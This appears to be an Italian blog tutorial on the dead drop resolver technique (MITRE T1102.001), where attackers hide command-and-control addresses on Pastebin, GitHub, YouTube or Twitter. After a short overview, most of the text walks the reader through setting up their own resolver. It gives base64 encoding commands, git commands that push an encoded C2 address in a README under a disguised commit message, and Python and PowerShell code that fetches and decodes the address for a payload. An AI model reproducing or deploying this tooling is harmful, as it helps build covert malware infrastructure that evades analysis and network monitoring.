Dead Drop Resolver: Nascondino Digitale nel Web Service (T1102.001)
Il Dead Drop Resolver rappresenta una tecnica sofisticata per nascondere infrastrutture C2 in piena vista. Gli attaccanti pubblicano contenuti su servizi web legittimi - da GitHub a YouTube - con domini o IP codificati che reindirizzano i sistemi compromessi verso i server di comando reali.
Questa metodologia si inserisce nella fase TA0011 (Command and Control) della kill chain, permettendo comunicazioni persistenti sfruttando il traffico normale verso piattaforme popolari. Il vantaggio è duplice: il malware non contiene direttamente gli indirizzi C2, proteggendo l'infrastruttura dall'analisi binaria, e il traffico verso Google o Twitter passa facilmente inosservato.
Con 6 gruppi APT attivi, 15 famiglie di malware documentate e 2 campagne maggiori rilevate, l'impatto è significativo. La crittografia SSL/TLS offerta nativamente da questi servizi aggiunge un ulteriore livello di protezione alle comunicazioni malevole.
Iniziamo con un setup classico utilizzando Pastebin come resolver. Crea prima il contenuto codificato che conterrà l'IP del tuo C2:
echo -n "192.168.1.100:8443" | base64
# Output: MTkyLjE2OC4xLjEwMDo4NDQz
Pubblica questa stringa su Pastebin e ottieni l'URL raw (esempio: pastebin.com/raw/abc123). Nel tuo payload Python, implementa il resolver:
import requests
import base64
resolver_url = "https://pastebin.com/raw/abc123"
encoded_c2 = requests.get(resolver_url).text.strip()
c2_address = base64.b64decode(encoded_c2).decode()
Per aumentare la resilienza, implementa una rotazione multi-piattaforma. Configura resolver su GitHub creando un repository con un file README.md contenente marker specifici:
echo "<!-- START -->aHR0cHM6Ly9jMi5leGFtcGxlLmNvbTo0NDM=<!-- END -->" > README.md
git add README.md && git commit -m "Update documentation"
git push origin main
Il parsing diventa:
import re
github_content = requests.get("https://raw.githubusercontent.com/user/repo/main/README.md").text
c2_encoded = re.search(r'<!-- START -->(.+?)<!-- END -->', github_content).group(1)
Twitter/X richiede l'uso delle API o scraping. Per YouTube, nascondi i dati nei commenti o nelle descrizioni video utilizzando steganografia testuale. APT41 ha dimostrato l'efficacia di questa tecnica aggiornando frequentemente i post su forum tecnici durante la campagna C0017.
Per Windows, PowerShell offre flessibilità nell'implementazione:
$resolver = (Invoke-WebRequest -Uri "https://pastebin.com/raw/abc123").Content
$c2 = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($resolver))
Vuoi diventare un Ethical Hacker ma non sai da dove iniziare?
Scarica la guida gratuita e segui il percorso corretto fin dal primo passo